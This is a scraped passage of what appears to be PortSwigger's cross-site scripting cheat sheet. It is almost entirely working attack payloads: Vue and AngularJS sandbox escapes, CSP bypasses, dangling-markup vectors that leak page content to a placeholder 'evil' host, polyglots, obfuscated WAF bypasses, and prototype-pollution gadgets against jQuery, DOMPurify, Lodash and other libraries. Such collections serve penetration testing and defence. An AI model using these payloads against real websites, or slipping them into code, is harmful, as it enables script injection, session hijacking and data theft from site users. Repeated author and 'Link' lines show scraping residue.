Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x title"="<iframe&Tab;onload&Tab;=alert(1)>">

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x title"="<iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)>">

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<xyz<img/src onerror=alert(1)>>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

116

<svg><svg><b><noscript></noscript><iframe&Tab;onload=setTimeout(/alert(1)/.source)></noscript></b></svg>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<a @['c\lic\u{6b}']="_c.constructor('alert(1)')()">test</a>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{$el.ownerDocument.defaultView.alert(1)}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<img src @error=e=$event.path.pop().alert(1)>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<img src @error=e=$event.composedPath().pop().alert(1)>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<img src @error=this.alert(1)>

Link

Version 2

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<svg@load=this.alert(1)>

Link

Version 2

Davit Karapetyan (Independent consultant)

<p slot-scope="){}}])+this.constructor.constructor('alert(1)')()})};//">

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_openBlock.constructor('alert(1)')()}}

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_createBlock.constructor('alert(1)')()}}

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_toDisplayString.constructor('alert(1)')()}}

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

{{_createVNode.constructor('alert(1)')()}}

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x @click=_withCtx.constructor`alert(1)`()>click</x>

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<x @click=$event.view.alert(1)>click</x>

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>

Link

Version 3

Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)

<component is=script text=alert(1)>

Link

AngularJS sandbox escapes reflected

Version:

Author:

Length:

Vector:

Copy:

1.0.1 - 1.1.5

Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

Link

1.0.1 - 1.1.5 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

{{$on.constructor('alert(1)')()}}

Link

1.2.0 - 1.2.1

Jan Horn (Google)

122

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

Link

1.2.2 - 1.2.5

Gareth Heyes (PortSwigger)

{{{}.")));alert(1)//"}}

Link

1.2.6 - 1.2.18

Jan Horn (Google)

106

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

Link

1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

124

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

Link

1.2.24 - 1.2.29

Gareth Heyes (PortSwigger)

{{{}.")));alert(1)//"}}

Link

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

{{{}.")));alert(1)//"}}

Link

1.3.0

Gábor Molnár (Google)

272

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
)));}}

Link

1.3.3 - 1.3.18

Gareth Heyes (PortSwigger)

128

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)//');}}

Link

1.3.19

Gareth Heyes (PortSwigger)

102

{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(1)//');}}

Link

1.3.20

Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

Link

1.4.0 - 1.4.9

Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Link

1.5.0 - 1.5.8

Ian Hickey & Gareth Heyes (PortSwigger)

{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}}

Link

1.5.9 - 1.5.11

Jan Horn (Google)

517

{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

Link

>=1.6.0

Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

Link

>=1.6.0 (shorter)

Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)

{{$on.constructor('alert(1)')()}}

Link

DOM based AngularJS sandbox escapes

(Using orderBy or no $eval)

Version:

Author:

Length:

Vector:

Copy:

1.0.1 - 1.1.5

Mario Heiderich (Cure53)

constructor.constructor('alert(1)')()

Link

1.2.0 - 1.2.18

Jan Horn (Google)

118

a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()

Link

1.2.19 - 1.2.23

Mathias Karlsson (Detectify)

119

toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)

Link

1.2.24 - 1.2.26

Gareth Heyes (PortSwigger)

317

{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(1)')()

Link

1.2.27-1.2.29/1.3.0-1.3.20

Gareth Heyes (PortSwigger)

{}.")));alert(1)//";

Link

1.4.0-1.4.5

Gareth Heyes (PortSwigger)

'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(1)//';

Link

1.4.2-1.5.8

Gareth Heyes (PortSwigger) & Daniel Kachakil (Anvil Ventures)

{y:''.constructor.prototype}.y.charAt=[].join;[1]|orderBy:'x=alert(1)'

Link

>=1.6.0

Mario Heiderich (Cure53)

constructor.constructor('alert(1)')()

Link

1.4.4 (without strings)

Gareth Heyes (PortSwigger)

134

toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)

Link

AngularJS CSP bypasses

Version:

Author:

Length:

Vector:

Copy:

All versions (Chrome)

Gareth Heyes (PortSwigger)

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">

Link

All versions (Chrome) shorter

Gareth Heyes (PortSwigger)

<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>

Link

All versions (all browsers) shorter

Gareth Heyes (PortSwigger)

<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">

Link

1.2.0 - 1.5.0

Eduardo Vela (Google)

190

<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>

Link

All versions (Chrome) shorter via oncut

Savan Gadhiya (NotSoSecure)

<input ng-cut=$event.path|orderBy:'(y=alert)(1)'>

Link

Scriptless attacks

Dangling markup

Background attribute

<body background="//evil?
<table background="//evil?
<table><thead background="//evil?
<table><tbody background="//evil?
<table><tfoot background="//evil?
<table><td background="//evil?
<table><th background="//evil?

Link

Link href stylesheet

<link rel=stylesheet href="//evil?

Link

Link href icon

<link rel=icon href="//evil?

Link

Meta refresh

<meta http-equiv="refresh" content="0; http://evil?

Link

Img to pass markup through src attribute

<img src="//evil?
<image src="//evil?

Link

Video using track element

<video><track default src="//evil?

Link

Video using source element and src attribute

<video><source src="//evil?

Link

Audio using source element and src attribute

<audio><source src="//evil?

Link

Input src

<input type=image src="//evil?

Link

Button using formaction

<form><button style="width:100%;height:100%" type=submit formaction="//evil?

Link

Input using formaction

<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?

Link

Form using action

<button form=x style="width:100%;height:100%;"><form id=x action="//evil?

Link

Object data

<object data="//evil?

Link

Iframe src

<iframe src="//evil?

Link

Embed src

<embed src="//evil?

Link

Use textarea to consume markup and post to external site

<form><button formaction=//evil>XSS</button><textarea name=x>

Link

Pass markup data through window.name using form target

<button form=x>XSS</button><form id=x action=//evil target='

Link

Pass markup data through window.name using base target

<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="

Link

Pass markup data through window.name using formtarget

<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="

Link

Using base href to pass data

<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/

Link

Using embed window name to pass data from the page

<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Link

Using iframe window name to pass data from the page

<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Link

Using object window name to pass data from the page

<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Link

Using frame window name to pass data from the page

<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="

Link

Overwrite type attribute with image in hidden inputs

<input type=hidden type=image src="//evil?

Link

Polyglots

Polyglot payload 1

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Link

Polyglot payload 2

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"
 onmouseover=/*&lt;svg/*/onload=alert()//>

Link

Polyglot payload 3

javascript:/*--></title></style></textarea></script></xmp><details/open/ontoggle='+/`/+/"/+/onmouseover=1/+/[*/[]/+alert(/@PortSwiggerRes/)//'>

Link

WAF bypass global objects

XSS into a JavaScript string: string concatenation (window)

';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (self)

';self['ale'+'rt'](self['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (this)

';this['ale'+'rt'](this['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (top)

';top['ale'+'rt'](top['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (parent)

';parent['ale'+'rt'](parent['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (frames)

';frames['ale'+'rt'](frames['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: string concatenation (globalThis)

';globalThis['ale'+'rt'](globalThis['doc'+'ument']['dom'+'ain']);//

Link

XSS into a JavaScript string: comment syntax (window)

';window[/*foo*/'alert'/*bar*/](window[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (self)

';self[/*foo*/'alert'/*bar*/](self[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (this)

';this[/*foo*/'alert'/*bar*/](this[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (top)

';top[/*foo*/'alert'/*bar*/](top[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (parent)

';parent[/*foo*/'alert'/*bar*/](parent[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (frames)

';frames[/*foo*/'alert'/*bar*/](frames[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: comment syntax (globalThis)

';globalThis[/*foo*/'alert'/*bar*/](globalThis[/*foo*/'document'/*bar*/]['domain']);//

Link

XSS into a JavaScript string: hex escape sequence (window)

';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (self)

';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (this)

';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (top)

';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (parent)

';parent['\x61\x6c\x65\x72\x74'](parent['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (frames)

';frames['\x61\x6c\x65\x72\x74'](frames['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence (globalThis)

';globalThis['\x61\x6c\x65\x72\x74'](globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']['\x64\x6f\x6d\x61\x69\x6e']);//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)

';window['\x65\x76\x61\x6c']('window["\x61\x6c\x65\x72\x74"](window["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)

';self['\x65\x76\x61\x6c']('self["\x61\x6c\x65\x72\x74"](self["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)

';this['\x65\x76\x61\x6c']('this["\x61\x6c\x65\x72\x74"](this["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)

';top['\x65\x76\x61\x6c']('top["\x61\x6c\x65\x72\x74"](top["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)

';parent['\x65\x76\x61\x6c']('parent["\x61\x6c\x65\x72\x74"](parent["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)

';frames['\x65\x76\x61\x6c']('frames["\x61\x6c\x65\x72\x74"](frames["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)

';globalThis['\x65\x76\x61\x6c']('globalThis["\x61\x6c\x65\x72\x74"](globalThis["\x61\x74\x6f\x62"]("WFNT"))');//

Link

XSS into a JavaScript string: octal escape sequence (window)

';window['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (self)

';self['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (this)

';this['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (top)

';top['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (parent)

';parent['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (frames)

';frames['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: octal escape sequence (globalThis)

';globalThis['\141\154\145\162\164']('\130\123\123');//

Link

XSS into a JavaScript string: unicode escape (window)

';window['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (self)

';self['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (this)

';this['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (top)

';top['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (parent)

';parent['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (frames)

';frames['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: unicode escape (globalThis)

';globalThis['\u{0061}\u{006c}\u{0065}\u{0072}\u{0074}']('\u{0058}\u{0053}\u{0053}');//

Link

XSS into a JavaScript string: RegExp source property (window)

';window[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (self)

';self[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (this)

';this[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (top)

';top[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (parent)

';parent[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (frames)

';frames[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: RegExp source property (globalThis)

';globalThis[/al/.source+/ert/.source](/XSS/.source);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (window)

';window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (self)

';self[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (this)

';this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (top)

';top[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)

';parent[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)

';frames[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)

';globalThis[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]((+{}+[])[+!![]]);//

Link

Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Content-Type

text/html

application/xhtml+xml

application/xml

text/xml

image/svg+xml

text/xsl

application/vnd.wap.xhtml+xml

text/rdf

application/rdf+xml

application/mathml+xml

text/vtt

text/cache-manifest

Browsers

PoC

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>

Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Content-Type

text/plain; x=x, text/html, foobar

text/html(xxx

text/html xxx

text/html, xxx

text/html; xxx

Browsers

PoC

Impossible labs

To find out what these are for, please refer to Documenting the impossible: Unexploitable XSS labs.

Title	Description	Length limit	Closest vector	Link
Basic context, WAF blocks <[a-zA-Z]	This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.	N/A	N/A	🔗
Script based injection but quotes, forward slash and backslash are escaped	We often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block. The closest we've got to solving this is when you have multiple injection points. The first within a script based context and the second in HTML.	N/A	N/A	🔗
innerHTML context but no equals allowed	You have a site that processes the query string and URL decodes the parameters but splits on the equals then assigns to innerHTML. In this context <script> doesn't work and we can't use = to create an event.	N/A	N/A	🔗
Basic context length limit	This lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?	15	<q oncut=alert``	🔗
Attribute context length limit	The context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?	14	"oncut=alert``	🔗
Basic context length limit, arbitrary code	It's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.	19	<q oncut=eval(name)	🔗
Attribute context length limit arbitrary code	Again calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.	17	See link	🔗
Injection occurs inside a frameset but before the body	We received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.	N/A	N/A	🔗
Injection occurs inside single quoted string, only characters a-z0-9+'.` are allowed.	The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9'+.`. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post.	N/A	N/A	🔗

Prototype pollution

Library	Payload	Author	Version	Fingerprint
Wistia Embedded Video	`<script> Object.prototype.innerHTML = '<img/src/onerror=alert(1)>'; </script>`	William Bowling	All versions	return (typeof wistiaEmbeds !== 'undefined')
$(x).off jQuery	`<script> Object.prototype.preventDefault='x'; Object.prototype.handleObj='x'; Object.prototype.delegateTarget='<img/src/onerror=alert(1)>'; /* No extra code needed for jQuery 1 & 2 */$(document).off('foobar'); </script>`	Sergey Bobrov	All versions	return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$(html) jQuery	`<script> Object.prototype.div=['1','<img src onerror=alert(1)>','1'] </script><script> $('<div x="x"></div>') </script>`	Sergey Bobrov	All versions	return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.get jQuery	`<script> Object.prototype.url = ['data:,alert(1)//']; Object.prototype.dataType = 'script'; </script> <script> $.get('https://google.com/'); $.post('https://google.com/'); </script>`	Michał Bentkowski	>= 3.0.0	return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery	`<script> Object.prototype.src = ['data:,alert(1)//'] </script> <script> $.getScript('https://google.com/') </script>`	s1r1us	>= 3.4.0	return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
$.getScript jQuery	`<script> Object.prototype.url = 'data:,alert(1)//' </script> <script> $.getScript('https://google.com/') </script>`	s1r1us	3.0.0 - 3.3.1	return (typeof $ !== 'undefined' && typeof $.fn !== 'undefined' && typeof $.fn.jquery !== 'undefined')
Google reCAPTCHA	`<script> Object.prototype.srcdoc=['<script>alert(1)<\/script>'] </script> <div class="g-recaptcha" data-sitekey="your-site-key"/>`	s1r1us		return (typeof recaptcha !== 'undefined')
Twitter Universal Website Tag	`<script> Object.prototype.hif = ['javascript:alert(document.domain)']; </script>`	Sergey Bobrov		return (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')
Tealium Universal Tag	`<script> Object.prototype.attrs = {src:1}; Object.prototype.src='https://portswigger-labs.net/xss/xss.js' </script>`	Sergey Bobrov		return (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')
Akamai Boomerang	`<script>Object.prototype.BOOMR = 1; Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script>`	s1r1us		return (typeof BOOMR !== 'undefined')
Lodash	`<script> Object.prototype.sourceURL = '\u2028\u2029alert(1)' </script> <script> _.template('test') </script>`	Alex Brasetvik	<= 4.17.15	return (typeof _ !== 'undefined' && typeof _.template !== 'undefined' && typeof _.VERSION !== 'undefined')
sanitize-html	`<script> Object.prototype['*'] = ['onload']</script> <script> document.write(sanitizeHtml('<iframe onload=alert(1)>')) </script>`	Michał Bentkowski		return (typeof sanitizeHtml !== 'undefined')
js-xss	`<script> Object.prototype.whiteList = {img: ['onerror', 'src']} </script> <script> document.write(filterXSS('<img src onerror=alert(1)>')) </script>`	Michał Bentkowski		return (typeof filterXSS !== 'undefined')
DOMPurify	`<script> Object.prototype.ALLOWED_ATTR = ['onerror', 'src'] </script> <script> document.write(DOMPurify.sanitize('<img src onerror=alert(1)>')) </script>`	Michał Bentkowski	<= 2.0.12	return (typeof DOMPurify !== 'undefined')
DOMPurify	`<script> Object.prototype.documentMode = 9 </script>`	Michał Bentkowski	<= 2.0.12	return (typeof DOMPurify !== 'undefined')
Closure	`<script> const html = '<img src onerror=alert(1)>'; const sanitizer = new goog.html.sanitizer.HtmlSanitizer(); const sanitized = sanitizer.sanitize(html); const node = goog.dom.safeHtmlToNode(sanitized); document.body.append(node); </script>`	Michał Bentkowski		return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Closure	`<script> Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//'; </script>`	Michał Bentkowski		return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Marionette.js / Backbone.js	`<script> Object.prototype.tagName = 'img' Object.prototype.src = ['x:x'] Object.prototype.onerror = ['alert(1)'] </script> <script> (function() { var View = Mn.View.extend({template: '#template-layout'}); var App = Mn.Application.extend({region: '#app', onStart: function() {this.showView(new View());}}); var app = new App(); app.start(); })(); </script> <div id="template-layout" type="x-template/underscore">xxx</div>`	Sergey Bobrov		return (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')
Adobe Dynamic Tag Management	`<script> Object.prototype.src='data:,alert(1)//' </script>`	Sergey Bobrov		return (typeof _satellite !== 'undefined')
Embedly Cards	`<script> Object.prototype.onload = 'alert(1)' </script>`	Guilherme Keerok		return (typeof window.embedly !== 'undefined')
Segment Analytics.js	`<script> Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/onerror=alert(2)>'] </script>`	Sergey Bobrov		return (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')
Knockout.js	`<strong data-bind="text:'hello'"></strong> <script> Object.prototype[4]="a':1,[alert(1)]:1,'b";Object.prototype[5]=','; </script><script> ko.applyBindings({}) </script>`	Michał Bentkowski

Classic vectors (XSS crypt)

Image src with JavaScript protocol

<img src="javascript:alert(1)">

Link

Body background with JavaScript protocol

<body background="javascript:alert(1)">

Link

Iframe data urls no longer work as modern browsers use a null origin

<iframe src="data:text/html,<img src=1 onerror=alert(document.domain)>">

Link

VBScript protocol used to work in IE

<a href="vbscript:MsgBox+1">XSS</a>
<a href="#" onclick="vbs:Msgbox+1">XSS</a>
<a href="#" onclick="VBS:Msgbox+1">XSS</a>
<a href="#" onclick="vbscript:Msgbox+1">XSS</a>
<a href="#" onclick="VBSCRIPT:Msgbox+1">XSS</a>
